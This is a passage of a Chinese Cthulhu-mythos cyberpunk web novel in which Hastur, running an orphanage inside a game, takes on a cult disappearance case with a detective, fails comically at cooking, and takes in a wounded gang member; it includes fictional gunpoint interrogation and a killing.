达斯汀深吸了一口气,惊疑不定地坐回去,瞪视哈斯塔:“你没听过?伊塔库亚——又被称为‘风行者’、‘冰寒死寂之神’,是摇篮教宣扬的旧日神明之一,也是黄衣之王哈斯塔的子嗣。”
“…………”
哈斯塔的思绪有一瞬停止了运转,下意识脱口而出一句:“什么王?”
“黄衣之王,”达斯汀从警服皮夹克摸出一份文件夹,翻开资料,“摇篮教信仰那些神明,但又吝啬于向大众公布神明的信息,只有那些成功入教的人,才能接触到更多消息。”
“凭我——警方的调查,仅仅能得到一些名字,还有某些名字之间的关系。”
资料在哈斯塔的眼中铺陈开来。
他看到许多陌生的名字,比如“阿撒托斯”、“克苏鲁”。所谓的摇篮教其实本名并不这么幼稚可笑,而是另一个更加晦涩拗口的名字:撒达—赫格拉教。
*喔……谎言的气息。*
那个内心深处的声音又响起来,轻柔得像哄诱,尖酸得像嘲讽:
*你在做什么?哈斯塔?欺骗自己这可能是公司同事发泄对你的不满,所以把你做进游戏,让你当另一个不存在的‘混沌之神’的孙子?*
*不不,你感受到了这些名字的熟悉,你感受到了血脉的连接……它们都是真的*
*那么谁说了谎?*
*哈斯塔,是哪个世界充满了谎言的味道?哪个世界里从未提到过这些信息?*
“……”哈斯塔默不作声,没有回应内心的声音。
他想起了上一个任务的奖励:一份摇篮教的残损日志。
当着达斯汀的面摸出来阅读肯定是不可行的,这必然会招致警探不必要的怀疑。
他只能迅速将眼前的这份资料大致背下,以更加认真的态度对待这起游戏中的案件:“名字是伊塔库亚自己取的,可能是他父亲在遗弃他前,曾对他提过这个名字。”
——不能告诉达斯汀,伊塔库亚是他帮小病鬼取的。
这名字如此拗口,怎么也不像随口就能这么恰巧取重合的样子。
达斯汀必然会因此怀疑他和摇篮教有关系,进而怀疑伊塔库亚是否已经被他——一个或许与摇篮教有关的人控制了。
一旦达斯汀起疑,要求见一见伊塔库亚,确认这孩子的确是接受了手术所以在修养,而不是因为什么别的原因不能见人,那这件事就谈崩了。
好在达斯汀接受了哈斯塔的解释,松了口气坐回椅子:“原来如此……”
他不是太懂这个取名品味的样子,但还是礼貌地没有表达出来,只接着道:
“刚刚说到哪了?哦,案子。”
达斯汀揉了揉头发:“事实上,警署在三天前接到了有关菲利普·布朗的消息。所有人都以为他在三年前失踪了,但其实他一直待在摇篮教‘深造’。”
“三天前,凤凰区的一处公寓老板报警,说她的房客被‘邪神’抓走了,要求我们救回房客——而那位房客,就是遗弃儿子,跑去邪教‘深造’的菲利普·布朗。”
哈斯塔都没心思吐槽那位老板关心的重点应该不是房客,而是房客拖欠的租金:
“这件事和伊塔库亚有什么关系?他和他的父亲都三年没见了。菲利普早就抛弃了他。”
达斯汀长长叹了口气,似乎在办这个案件的过程中遭受了严重的精神折磨:
“因为菲利普·布朗在他的公寓里,用狗血画了很多乱七八糟的法阵。而在其中几个法阵中央,放着三张字条。”
他从文件夹中取下一张照片,递给哈斯塔。
照片中并排放着三张沾满血污和指痕的碎纸,以凌乱的字迹分别写着:
[请取走我的孩子,不要带走我!伟大的哈斯塔!]
[我愿在人间为您建起卡尔克萨,我的孩子可以代替我去您的身边侍奉,他有着雪白的头发,红色的眼睛,生而便与众不同,一定能契合您的喜好███(后续字迹因血污而无法阅读)]
[凤凰区1101号哈利孤儿院,凤凰区1101号哈利孤儿院(以下重复多次)……
拜亚基!请替我将我最虔诚的祭品带去,送给我的主,我的神明,伟大的黄衣之王哈斯塔!]
“……”哈斯塔看着照片,半天没有说话。
一种从未有过的战栗感爬遍全身,令他亢奋,又令他心生惊疑。
他的亢奋全部出自于本能,他仿佛接触到了迄今以来,最大的秘密背后的真相。仿佛接受这样的献祭,是他与生俱来的权利。
心生惊疑,则是想起之前关于礼物的思考(他曾困惑于绿朱草送他的头盔如果不是礼物,那该被定位为什么),想起自己和伊塔库亚的相遇。
不论这些字条是否是疯子的呓语,事实是菲利普·布朗的孩子的确成了他的养子。
这也是剧情策划耍的把戏吗?刻意营造出一种“他会不会在不知情的情况下,的确回应了菲利普的祈祷”的惊悚感?
达斯汀将哈斯塔的反应理解成了对字条内容的不适,抬手拿回照片:
“如果真和伊塔库亚见面,这些字条我肯定没法拿给那孩子看,这太残忍了。”
从某种意义上来说,他有点感谢哈斯塔横插了一杠子,或许能代他旁敲侧击,完成一些可能伤人的质询:
“我不确定菲利普的失踪是不是人为,如果是,那这个人会不会因为这些字条,也对伊塔库亚打起主意?”
“所以……劳烦您近期多关注一下孤儿院周围?看看有没有可疑的人出没?”
基于伊塔库亚的残疾,达斯汀认为这孩子出门的机会很少。那注意身边危险的事完全可以交给哈斯塔处理,甚至不必惊动伊塔库亚,以免对着孩子造成二次伤害。
不过责任心在前面吊着,达斯汀吭哧了半天,还是挤出一句:
“如果……我是说,如果,伊塔库亚能想起任何可能对案情有帮助的消息,欢迎随时和我联络。”
游戏叮了一声,左下角冒出一个叫做[宇宙神殿]的支线任务。
任务的要求是“帮助达斯汀警探,破获神秘的信徒失踪案”。
哈斯塔花了相当长的一段时间,才克制住从未如此庞杂强烈的情绪。与灰发警探交换过号码后打开任务,试图从任务描述中寻找一些线索提示。
准备离开的灰发警探也在此时干脆利索的站起身——
然后“噗通”一声倒地不起。
“——??”哈斯塔差点反思自己是不是因为情绪激烈,不慎污染了赛博同行,“警探先生?”
“低……”达斯汀半死不活地挣扎,迷瞪瞪地斜晲出去,惊得哈斯塔当场往下一降,以免趴在地上的警探先生发现有野生蛋黄水母凭空漂浮,“低血糖……早饭……没吃……”
他衣服上的酱料还是昨天吃午饭时留下的。
“……”哈斯塔陷入短暂的沉默,半晌迟疑地开口:“您要和我们一起吃早餐吗?”
达斯汀艰难地捋顺不听使唤的舌头:“麻烦……您了……”
系统提示适时地浮起:
【彩蛋任务:制作一顿极具个人特色的早饭】
“……”哈斯塔再度沉默。
……他就是礼貌性的问一问。
首先要强调的是,哈斯塔不是人,不需要睡觉,也不需要进食。
其次,哈斯塔不是人。所以根本不需要给自己做饭,更不可能为他人做饭。
哈斯塔将达斯汀扶回座椅,颇有些慎重地飘向一楼的后厨房,并不确定自己能否做出一顿能吃的饭菜,救达斯汀警探一命,防止这个他很在意的案件半道崩卒。
但整个孤儿院里现在只有三个人,达斯汀警探正在犯病,伊塔库亚又不方便露面,而且他也曾向新养子许诺,自己会尽力当一个尽职的父亲……尽职的父亲应当是会给孩子做早饭,而不是支使孩子做早饭的吧?
他打起十二分的认真,用履行承诺的慎重态度对待这个小小的“彩蛋任务”。经过一番酣畅淋漓的网上冲浪,他认为自己行了。
哈斯塔转向燃气灶。
一个小弹窗“啵”地蹦出来:【它不想被您使用】
哈斯塔:“……?”
什么意思?
他惑然看向旁边的其他厨具。
微波炉:【它恳求您不要触碰它的开关】
榨汁机:【它正在*颤抖*,如有必要,它将以自爆反抗您的使用】
哈斯塔:“……”
一群家具还搞起集体罢工,抵制主人来了!他会听一个榨汁机的自杀威胁吗?
于是,五分钟后。
从口袋里摸出一条巧克力吞下,终于从低血糖的状态中缓过劲来的达斯汀警探,闻嗅到一股特殊的味道。
这味道陌生又熟悉,一般发生在他的单身同事们炸厨房之前。
刚喘了几口匀气的达斯汀警探:“……!!”
他猛然弹跳而起,差点再次晕回地上,撑着虚弱的身躯,以最快的速度冲向气味飘来的地方:“停火!停火!不管你正在用什么厨具,总之把它关上!!”
哈斯塔还在蹲守鳕鱼派蒸熟,做事有始有终的习惯令他当然不愿听从达斯汀警探的喝止。
更何况,就差三十秒了!很快就——
“轰——”
烤箱痛快地炸了自己。
达斯汀警探差点没倒抽一口气晕过去。
直到看见一颗沾满灰尘、怀疑人生的黄色圆脑袋从烟雾里飘出来,他才猛然松了一口气:“——你去大厅歇着吧,我来做,好吗?”
“……”蛋黄水母沉默不语。
蛋黄水母持续性意志消沉。
以哈斯塔的能力和智商,很少有事是他全神贯注去学,还做不好的。
他认为烤箱爆炸并不合理,一定是在他使用之前,它就已经有某个地方故障了,才会发生意外事故。
这就是一个故意为难玩家的游戏设定,故意不想让玩家完成任务。
达斯汀警探连哄带劝,才将这朵蔫掉的蛋黄水母哄回大厅。而后系上围裙,开始进行一些适合活人的烹饪。
十分钟后,他捧着麦片粥和一些烤吐司出来:“我给伊塔库亚也准备了一份,病号不能吃的太丰盛。”
“……”蛋黄水母沉默着进食,看得达斯汀欲安慰又止。
想来想去,还是人命更重要。这时候说善意的谎言,实属教唆自杀了——而且院里还有一个伊塔库亚要照顾呢!总不能指望那些鹰帮的混混回来给这俩人做饭吧?
达斯汀抹了把脸:“你们真得聘个厨子了。”
他三两下将粥和吐司吞完,起身再度告辞,坐进他那辆几乎被当做宿舍用的巡逻车离开。
“……”哈斯塔继续多云转打雷地在大厅坐了片刻,听到伊塔库亚从楼上小心翼翼蹭下来的足蹄声。
“警探先生离开了?院长,刚刚的爆炸声是怎么回事?”伊塔库亚不明所以地环视了一圈,看到焦黑的厨房。
为人父亲的承诺促使哈斯塔从失败的余韵中抽离出来,若无其事地偏过脸,佯装没听见问话,只将面前的餐盘往伊塔库亚面前抵了抵:
“过来吃饭。吃完之后,你去把鹰帮留下的制毒用品全部销毁,我去处理尼森。”
“然后,我们聊聊案件的事。”
他拎上枪,起身去地下层。
下楼的间隙,从黄袍中摸出之前的那份任务奖励。
特殊的瞳部构造让他能在一片黑暗中视如白昼,他仔细端详这张残页,发觉曾有某种金黄色的液体泼洒过,大片的字迹被水渍模糊,仅留下几句只言片语:
【……*黄金蜂蜜酒*,此时,躯壳与灵魂将陷入停滞,拜亚基将承载我们在空间中穿行……
…………
……手持*黄衣之印*,吹奏石笛,并大声念出如下祷词:】
祷词是什么?
哈斯塔下意识地翻向下一页,才意识到自己手里的只是一张碎纸片,无法点击阅读下一章。
“……”蛋黄水母再次阴云密布,拖着沉重的电磁轨道枪,走进尼森的小黑屋。
纯粹的黑暗拥抱过来,令他感到如置身于羊胎水般的温暖舒适。
躁动不安的袍角渐渐平复,他将冰冷的枪口抵上尼森的下颌:“不要装睡。”
“回答问题:你是否听过摇篮教?”
空气里霎时多了几分恼火的味道,这个中年人类在为伪装败露而懊恼。
但哈斯塔的枪口令他不得不赔着笑:“摇篮教?听过,听过,那个邪教嘛,听说很多政客富商都会去祷告,寻求静谧,我本人也曾去参——啊!”
哈斯塔收回甩了尼森一拐的枪,继续抵着栽倒在地的人类后脑:“只说真实,不要说谎。”
尼森在枪口下颤抖:“……我,我也只是听些三道九流的消息,说、说摇篮教到处‘招商引资’,到处都有它的信徒……”
哈斯塔用枪口抵了抵他的后脑:“还有呢?”
“我不……不知道……”尼森似乎感受到了生命的倒计时,开始努力而慌乱地自我辩驳,“我、我不是恶
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人,院长先生!我不是,我只是一时被赏金蒙蔽了眼睛!我想那位慷慨的先生既然愿意为一个残疾孩子付这么多钱,那哪怕只是把他买回去当个宠物养着呢?努里区的那些宠物,过得可都是天堂般的日子!”
尼森试图爬起来,哆嗦着抓住哈斯塔的黄袍:“院长先生,院长先生您一定能明白的对不对?人活着才是最重要的,尊严、脸面……有什么用?!它们能为孩子换来救命的手术吗?换来锦衣玉食吗?不能!”
谎言、痛苦、悔恨、憎恶……复杂而浓烈的情感包裹住这个毫无尊严的男人,令他在未受拷打的情况下,痉挛着蜷缩起来。
似乎他曾因为天真的理想而失去了什么,于是他被痛楚击碎,最终重新拼凑出一个面目全非的自己。
尼森仍攥着哈斯塔的黄袍,侧脸贴着冰冷的地面。他像恍惚似的喃喃:“不能……没有意义……”
代表“尼森”的圆点在地图上闪烁,在代表中立的黄色和代表敌对的红色之间来回变换。
哈斯塔考量了一下貌似被厨房抵制了的自己,枪口略抬了一点:“你会烹饪吗?”
尼森浑身一滞,而后欣喜若狂地猛然瞪大眼睛:“会!我会!”
属于尼森的圆点在此时跳转到了黄色上。
但哈斯塔习惯性的轻嗅了嗅空气中的气味:
狂喜、庆幸,还有毒蛇一般藏在一切情绪最深处的算计……
哈斯塔眼睛眨也不眨地对着中立黄名扣下扳机。
“嗡……”
蓝光撕裂黑暗,轰烂了尼森喜笑颜开的脸,和那张笑脸下盘算的一切阴谋。
哈斯塔没什么停顿地转身离开小黑屋,就像他在工作时,无数次转身离开那些试图在他面前耍弄心思,但永远难逃一死的任务目标。
他沿着狭窄陡峭的石阶,一层一层走向上方的光明。没有去想尼森究竟经历过什么、为什么变成如今的模样。
而是在想:
这厨艺真的不能再救一救吗?他觉得自己离成功并没有那么遥远,也许换个新烤箱就成功了呢?
说到底,*他*的巢穴里,为什么要放那么多抵制他的厨具?这合理吗?
耿耿于怀的哈斯塔楼还没爬一半,就拉开建筑界面,对厨房进行了一个“一键清理”的大动作,随后按照商城推荐,购买了“初级厨房套组”。
从雷蒙德医生那儿扫荡来的14万建筑资金,瞬间就剩下11万。
但哈斯塔认为这个钱花得值,他的巢穴只允许对他友好的厨房用品居住!
怀揣着一雪前耻的期待,哈斯塔快快地飘上一层。进入因为一键清理和改装而焕然一新,窗明几净的厨房。
原本种类繁多的老旧器具(高危款)都被清空了,初级厨房套组并没有提供过多的烹饪用具。
只有一个崭新的、据称“绝不会发生消防事故”的燃气灶,外加容量更大的冰箱、冷暖水可切换的水池。
这让哈斯塔很容易便能找到他想看的弹窗:
燃气灶:【它不会爆炸,但它可以闭嘴熄火。它决定如果您执意要使用它,它就会对您实行冷暴力!】
冰箱:【海纳百川的冰箱愿意接受任何人的投喂,除了您】
水池:【或许您只是来洗手的?不是来洗菜的?对吗对吗对吗?】
“……”哈斯塔摇摆的小波浪渐渐顿住。
这3万块钱算是打水漂了。
——不。还有别的办法能让这笔投资不白费。
哈斯塔做了三分钟的心理建设,步履沉重(他漂浮时心情沉重地向下降了3厘米)地回到办公室,打开老旧到点击一次,顿卡一小时的电脑,发布招工信息。
为了不让厨具白费招聘一个厨师,和为买1块钱的商品支付12块的邮费有何区别!
但身为家长,哈斯塔绝不会在伊塔库亚面前暴露出自己冲动消费的失误问题,只状似冷静地询问伊塔库亚:“我和警探先生的对话,你有没有听见?”
伊塔库亚看着矮了3厘米、明显心情欠佳的养父欲言又止,最终还是点点头:“您很在意这个案子?”
他早已不在乎父亲的生死,那个男人将他丢弃在孤儿院门口时,就已经彻底斩断了这份亲情。
哈斯塔没有遮掩:“我对摇篮教很感兴趣。”
“但想继续追踪这个案件,需要你能够恢复人类的样貌,我会在接下来的几天,试着对你进行进一步的转化,看能否为你捏出类人的伪装。”
变回人类种族是肯定不可能了,输入的精神污染越多,伊塔库亚只会越非人。捏一个人类伪装倒还有些盼头。
游戏的防沉迷提醒在此时再度上线,哈斯塔快速将已经没用的小黑屋卖掉,又对伊塔库亚叮嘱了几句,留下1万块的紧急支出费,而后登出游戏,下线工作。
漫长的,漫长的八小时法定工作时间,和三小时“自愿加班”时间,有如蜗牛逛街般缓慢过去。
当最后一个案件处理完毕,哈斯塔立即以看似不急不慢,实则急不可待的速度冲回H-1区,登录诡计多端的游戏。
——游戏的登入PV居然换了个画面。
哈斯塔不经意地瞥了一眼,看见一张老旧的黑色石碑,碑文上刻着大片的文字,因表层剥落而只剩零星的单词:
[Hastur][Azathoth][Xada-Hgla]……
哈斯塔、阿撒托斯、撒达-赫格拉。
哈斯塔的态度由等待的不耐变得专注起来,迅速扫了一遍整片缓缓转动的碑文,最终在最低端,找到一句尚还完整的句子:
[H'' ephaisurely nafl''fhtagn]
祂必将苏醒。
PV的画面骤然熄灭。
【9月29日·11:00p.m·凤凰区·孤儿院】
属于院长办公室的朦胧灯光投映入眼。昏黄带红的灯泡像一枚罩在灯罩里的落日,再有一颤就会彻底落下地平线,将大陆彻底交还至黑暗手中。
“……”哈斯塔的思绪仍处于震颤中。
他没想过现实中仅有自己会说,被研究中心判断为“某种返祖母语”、“目前未找到同类觉醒案例”的语言,竟会出现在游戏中。
这是游戏策划设计的吗?策划是他的同类吗?
为什么不在现实和他见面,只在游戏中设计这些剧情?
对方是否是想通过这些,向他表达什么?
他思绪繁杂地考虑着这些问题,不知不觉间,手就搭上了建筑界面,将孤儿院再次改成自己的审美。
筑巢行为逐渐平复了他的心绪,令他平静下来。
他抬头看向敞开的窗外。
这里没有夜枭,赛博时代似乎不存在夜枭这种远古动物。
静谧与喧嚣交织出凤凰区的深夜。
远方枪炮声遥遥传来,更衬得孤儿院周边的夜景安静美好,很值得外出晒一晒月亮。
哈斯塔缓缓起身,走过布满混乱艺术的大厅,无规则扭曲的回廊,推开孤儿院的大门,感受户——
嗯?推开大门——
“……”哈斯塔面无表情地停下动作,而后再度以自己高达1点的力量,对孤儿院的大门发起冲击!
大门纹丝不动,只有挂在门栓上的锁链晃荡了一下,勾起的弧度像幸灾乐祸的嘲笑。
哈斯塔平和地凝视了这扇大门几秒,转手打开建筑面板,将这扇令院长大失颜面的大门残忍卖掉!
夜风扑面而来。
哈斯塔眯眼晒了几秒月光,享受夜风中刺鼻的化工废料气味,干燥割人的沙砾,腥甜新鲜的人血……嗯?人血?
哈斯塔猛然降低了目光落点,在门槛前看见一……片空气……?
——不可能。那股浓烈的血腥味就是从这里传出来的,怎么可能空无一物?
哈斯塔立即伸出袍角对着那团空气捞了捞,仍旧一无所获。
总不可能是他的感知出了问题?
月光下,一枚蛋黄水母困惑地围着一团空气漂浮了几圈,而后猛然意识到问题所在:
【智力:3(您有脑子,但不多,即便有线索在您的面前起舞,您也只能看到一团空气)】
哈斯塔沉默数秒,拉开伊塔库亚的数值面板看了看,再度被对方比自己高数倍的智力数值刺伤:“——伊塔库亚。”
幸亏不久前他救下了伊塔库亚……这是什么赛博版“你是我的眼”?
6. 第 6 章
三分钟后,孤儿院的所有成员在大门前集合。
哈斯塔盯着眼前的空气,指望智力能像不好使的灯泡,偶尔亮一下,让他看清眼前的线索:“他看起来是什么样子,伊塔库亚?”
“呃……”伊塔库亚看看地上老大一个人,又看看哈斯塔,“褐色……短发?一米七上下,他长得很不错,就是不知道这张脸是天生的,还是后来更换的义体——”
“我是问,有什么特征能确定他的身份?”哈斯塔打断。
他竭力瞠大眼睛,但当他的视线完美越过地上的昏迷者时,这种神情只会让他看上去更像睁眼瞎:
“比如他穿什么衣服?身上有没有携带武器?他的手指指腹上有没有厚茧,义体是什么类型的?”
哈斯塔一边说,一边在空气附近蹲下身。
视觉被限制,并不代表他就完全无计可施。
伊塔库亚的协助是一回事,但即便没有伊塔库亚的帮助,他依旧能借由其他感官,提取线索身上的信息。
比如这个昏迷者在出事之前,正在喝酒,酒的档位不低,这个人应该有些身价地位。
再比如他听见了机械心脏的正常搏动声,这个人身上的血腥味虽然很重,但姑且死不了。
最后就是那些浓烈和混杂的激素……愤怒、失望、自我怀疑,和强烈的复仇之心。
这是个刚刚遭逢背叛的人,复仇和求生的欲望正像火焰一样熊熊燃烧。
“呃,”伊塔库亚手忙脚乱地跟着蹲下,尴尬之余,又觉得院长好像在教他一些生存的技能,“我看看……”
“他穿着皮夹克、白汗衫,”伊塔库亚用食指抹了一下空气,“身上有很多沙砾……我想他应该是从奥特达斯特——就是南面那片沙漠废土里出来的。”
哈斯塔放弃指望自己的3点智力了,抬起头,用注视鼓励伊塔库亚说下去。
伊塔库亚有点腼腆地抿了下嘴,又很难克制高兴地微微挺起胸膛:
“他身上没有携带武器,但有大面积义体改造的痕迹……他裸露出来的皮肤,都覆盖有光学装饰。”
“这么重度的改造,我猜测他要么是流浪者,要么是帮派混混,两者都需要高武力值。”
哈斯塔赞许伊塔库亚的分析,只提出一点补充:“他的牙正在发出咬合硬物的声音,他嘴里含了东西。”
会是什么呢?
便宜父子俩同时盯住昏迷者,伊塔库亚小心地拨开昏迷者的嘴唇,看见一枚被咬得咯吱作响的白色西洋棋。
“父亲?”伊塔库亚困惑地仰头看向哈斯塔,一时没注意,将心里偷偷叫哈斯塔的称呼喊了出来。
哈斯塔没在意这点称呼上的细节变化,即便没听达斯汀说那段“伊塔库亚前面忘了后面忘了总之就是哈斯塔的子嗣”,他就已经承诺过“父亲”这个身份:
“可能是袭击他的人留下的‘犯罪签名’,也可能是他最在意的旧物……把他抬进去吧,我给他开个新房间。”
“只能看见一团空气”,怎么不算是高亮提示的一种呢?至少证明这个昏迷者一定是一条重要线索。
哈斯塔甚至为此专门思考了一下,后期要不要刻意不加智力,换个角度卡游戏的bug。
他侧身为伊塔库亚让开大门,将建筑界面打开,重新规划了一下孤儿院:
首先,一楼大厅肯定需要忍痛改回正常人类能够接受的风格了。
毕竟达斯汀警探很可能二次上门,他不想惊吓到有用……咳,正直的好警官。
厨房暂时不动,他还没想好怎么处理那片伤心之地。
而且那个要他做饭的任务还挂在任务栏里,一生从未输过的哈斯塔还想再挑战一番。
剩下的一楼房间就只有……小型学校?教职员工办公室?
除了院长办公室,剩下这些统统用不上,姑且先放置,等以后有需要了再开。
哈斯塔滑了一下界面,看向二楼。
孤儿院没在这里设置太多的功能房间,整个一层就只有“孤儿宿舍”,和一个公共卫浴。
公共卫浴肯定得开,至于孤儿宿舍,可以只开两间,剩下的关掉(哈斯塔的关掉指卖掉门窗)。
当然,为防新线索半夜醒来,精神崩溃在房间里,为对方准备的房间必须得“人类友好”一点……
至于地下层……游戏甚至没有出示完整地图。哈斯塔总觉得负一层的面积没有他看到的那么小,等以后有空,得去底下好好探查一番。
而现在……
哈斯塔关闭建筑页面,捋起袖子,气势迫人地飘向他桀骜不驯的厨房。
·
疼痛。
还有寒冷。
芬尼安是在子夜十二点苏醒过来的。
他面朝上躺在某种柔软的东西上,身体因为失血和高烧而打着摆子。
他感觉自己像是陷在一汪滚烫又寒冷的沼泽里,思绪也昏沉沉地胡乱冒着不着边际的想法。
从前几天西买的红酒是否应该冠上独角兽的徽标,到曾视作家人的同伴狠狠捅向他的刀子……对了,刀子。
被背叛的记忆,一下攥住他奔散的思维,迫使他的注意力全部集中起来,试图判断自己当下的情况:
柔软的触感……他似乎躺在某张床上?
刺鼻的化工药剂气味——他应当在距离黑海很近的地方。
——是帮派的兄弟救了他?
不,不可能。他们知道他从不容忍背叛者,没人会在背叛他后,再忽然反悔救回他。
那他这是……被人救了?
是普通的路人?还是其他帮派的利益牵涉者?
“……I……flu……”
“……inkc……”
“……oulorn……igh……”
远远的,有沉闷的声音传入耳中,像隔着水面。
其中一道声音尤为的古怪,像是人的言语,又像是某种非人生物的拟声。
他瞬间打出一个寒颤,即便理智尚且不能正常运转,生物的本能却依旧发出尖锐的警报。
大量肾上腺素分泌而出,为他脱力的身体注入些许力气,帮助他迫使上下眼睑分离开来。
“……hla……”
那声音又响起来了。
他看清了子夜时分的房间,尤其是那些怪异倒悬在天花板上的壁橱,那些飘飘荡荡的白色薄布。
——装神弄鬼。
一定是有人在装神弄鬼,否则怎么解释这些奇怪的家具布置?
他强迫自己忽略身体上的疼痛——即便那些痛苦难熬到让他感觉自己变成了一张筛子,血液和力气从那些豁口中争先恐后地流出,难以承受的痛苦从那些豁口处争先恐后地涌入——
他仍迫使自己集中精神,去聆听那些遥远的声音,以图能尽快掌握自己当下的处境:
“乒……乒……”
机械心脏一下接着一下,沉稳而有力的泵输着血氧。
那些含糊的声音逐渐变得清晰起来:
“……我认为可以。食谱……”
“但是颜色不对——”
“父亲。”那是一个年轻的声音,大概十四五岁,“我还是觉得,您应当继续将这份肉团做完。您既然是按照食谱一步步做的,怎么可能出错呢?”
另一道有些奇怪的声音(芬尼安的小腿微微痉挛了一下:就是这道诡异的声音!)说:
“……这就是问题所在了,伊塔库亚。我做的不是肉团,只是番茄酱配炸鱼薯条。而且,我的番茄酱还没淋上去。”
“……”芬尼安愣是给听沉默了,在黑暗中吐出六个点。
究竟是怎么操作的,才能把炸鱼薯条做成肉丸的形状?
“……”那个名叫伊塔库亚的孩子也难以避免地陷入了沉默。
但吭哧了几秒,他居然接着热烈鼓励道:“但它看起来很好吃的样子!!父亲!请不要怀疑自己,这是你第一次成功做出食物,等它出炉,我一定会把它们吃完的!!”
芬尼安:“……”
……倒也不必如此。
一些父子之间日常且笨拙的对话,令他的神经渐渐松弛下来。
之前泵入身体的那波肾上腺素激起一层薄汗,令他感到身上松快些许,蒸腾着头脑的高热正在退散。
他试着动了动身体,仍然掌控不了四肢,但手指和脚趾似乎恢复了些许行动能力。
或许再缓几个小时,他就能恢复行走的力气,从这个奇奇怪怪的地方离开。
而在那之前——芬尼安决定追一追这档“父子宵夜故事”的连载。反正他现在又没有别的消遣。
隔着很远。
声音很吓人的父亲:“它在骂我。为什么?我有哪点做得不规范吗?”
儿子:“没有呢。这个灶台可能就是管道不好使,所以呲了一下小火花。”
父亲坚持:“不。它就是在骂我。它之前还和我冷暴力——记得吗?一开始不论我怎么旋转,它都不肯开火。”
儿子发出大脑飞速运转的声音:“嗯——嗯——!这应该就是管道不好导致的吧?”
“父亲,你不要想太多。一个灶台是不会有自己的想法的。——啊,书上说的时间是不是到了?是不是可以起锅了?”
一阵手忙脚乱的声音,还夹杂了一道盘子摔碎的脆响。
“炸鱼薯条”成功装盘后,远方传来了一阵寂静。
“……”
“…………”
芬尼安等了又等,都开始不耐得想扭身起床了:
这是什么反应?起锅后的炸鱼薯条卖相究竟有多差,能让这对父子保持沉默这么久?
那个儿子呢?过程中一直在鼓励,还说“一定会全部吃完”,怎么装盘后却一声不吭了?
半晌,父亲略显沉重的声音响了起来:“也不算完全没有收获,至少……嗯……”
冗长的沉默,仿佛是父子二人在共同绞尽脑汁思考积极的台词。
芬尼安差点没笑出声。
——然而事实真有芬尼安想象得
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那样愉快轻松吗?
一楼厨房。
哈斯塔盯视着空空如也、只有焦油的平底锅,几秒后,轻声询问伊塔库亚:“你看到了吗?”
之前灶台的疯狂辱骂,伊塔库亚因为没有游戏系统所以看不见;但刚刚这些“炸鱼薯条”可是实打实地在他们面前凭空消失,只留下滋滋作响的底油,证明“炸鱼薯条”曾经来过。
“……”伊塔库亚张着嘴,表情是十足的满脸茫然,“我……”
他的关注点不在后来发生的宵夜消失上,而在前面的宵夜装盘上。
大脑空白了几秒,伊塔库亚猛然一个惊恐瞪眼:“那是什么??那到底是什么?!父亲,为什么你做的肉团一盛进盘子里,就变成了……变成了……”
他很难找到一个合适的形容词来描述那东西。
那看起来像是一群刚孵出蛋壳的小鸟,长着细长到令人不适的脖颈,薄如蝉翼而骨骼扭曲的双翼。
它裹在黄绿色的黏液里,头颅巨硕。前后四肢粗壮而有力,恰好能撑起它们较脖颈、羽翼来说过于肥硕的身体。
问题是:鳕鱼和土豆,为什么能做出这种东西?
为什么这东西在盛盘的一瞬间,就忽然凭空消失了?
伊塔库亚两眼放空地喃喃为什么会大变小怪物;哈斯塔则:“……”
刚刚伊塔库亚是不是也承认那是“肉团”了?
算了,这不重要。
重要的是,那些小怪物消失前,身下是不是闪过了什么符号?
他想起了达斯汀提到的摇篮教,想到照片上那些召唤法阵……
那盘炸鱼薯……小怪物,该不会是被什么邪.教仪式给刷走了吧?
——算了。刷走就刷走吧。
反正这个彩蛋任务他是成功完成了,不枉他特意顶着伊塔库亚奇怪的眼神,端着电磁轨道枪威胁灶台给自己生活。
哈斯塔点开任务描述,去看完成奖励:
【您获得:5点自由点,是否分配?[是/否]】
哈斯塔顿时感觉自己砸在厨房上的3万块获得了应有的回报。他打开数值面板,看着自己的数据沉吟片刻:
【角色:哈斯塔
精神:20
智力:3
力量:1
生命:1
防御:1
敏捷:20】
哈斯塔:“……”
一如既往地想临时抱佛脚,都不知道从哪抱起。
如果放在一天前,他的确是想把点数都留给智力,以免自己疏漏线索。
但今晚的遭遇,让他重新审视“看不见线索”这回事,总觉得有bug可钻,未必就得加点,消除这个钻系统空子的机会。
他的目光上下逡巡了片刻,一时不知道从何下手,索性关掉面板,准备未来有需要时再临时加点。
至于现在……
他看向还抱着毛脑袋在怀疑人生的大只毛球:“走吧,趁我还没到上班时间,去试试进一步转化。”
伊塔库亚的人形一天捏不出来,他就一天不能去骚扰达斯汀警探。
毕竟“孩子刚做完手术没醒”这种借口,用个一两天也就算了,一直用一个星期,傻子也该知道不对劲。
考虑到自己不用睡眠,不代表就得压榨孩子的睡眠,哈斯塔示意伊塔库亚回宿舍,该睡觉睡觉,不用管他干什么。
自己则坐在伊塔库亚床边,从子夜12点折腾到凌晨4点。
人形是一点都没捏出来,倒是伊塔库亚的茸毛变得更加柔软蓬松了,挼起来像一大团蓬松奶盖。
凤凰区彻底安静了下来,就连一点枪声也听不见。
黑魆魆的宿舍中,内心深处的那道声音又开始轻声细语:
*你在做什么?哈斯塔?你是混乱的化身,进化的正确方向,为什么要将你唯一的子嗣推向远离你的方向?*
哈斯塔权当没听见,他有自己的想法。
4:01。4:10。4:30
四点四十二分,他搁置在黄袍里的老式手机忽然响了起来。
蓝调音乐安静而哀伤地流淌出冰冷的金属机壳,像是一场举行在破晓之前的悼念会。
哈斯塔天生缺乏对这些情绪的领略能力,只在伊塔库亚被吵醒前掐断铃声,起身走出宿舍:“喂?”
“——H.J。”达斯汀的声音从听筒中传出来,带着不正常的紧绷。
他的声音很急促,像是被什么东西惊吓到了:
“第二起失踪案发生了,现场的情况和菲利普·布朗几乎一模一样——不!更糟!我看到了怪……一些,很难用科学解释的痕迹。告诉我,H.J,告诉我,伊塔库亚现在的状态怎么样?他能不能提供更多的信息?”
哈斯塔提供完否定的答案,才忽地想起四个小时前,才被人刷走的那一盘小怪物:“……”
黄袍舞动的幅度变得谨慎起来:“什么很难解释的痕迹?”
——总不会是那盘小怪物惹出来的麻烦吧?
7. 第 7 章
“……”对面一片安静。
哈斯塔疑惑着刚想重复一遍问题,就发觉电话另一端的呼吸声急促得不正常。
比起遵守职业道德,拒绝泄露案件详情,达斯汀警探更像是看见了什么恐怖的事物,而那东西现在就在达斯汀警探身边巡视。
忽然。
“咚!”
“哗啦……”
一声肉.体撞击木板的闷响。
听起来像是达斯汀警探不慎撞到了书桌或者书柜,厚重的大部头纷纷砸落下来。
——而这无疑会引起那个未知之物的注意。
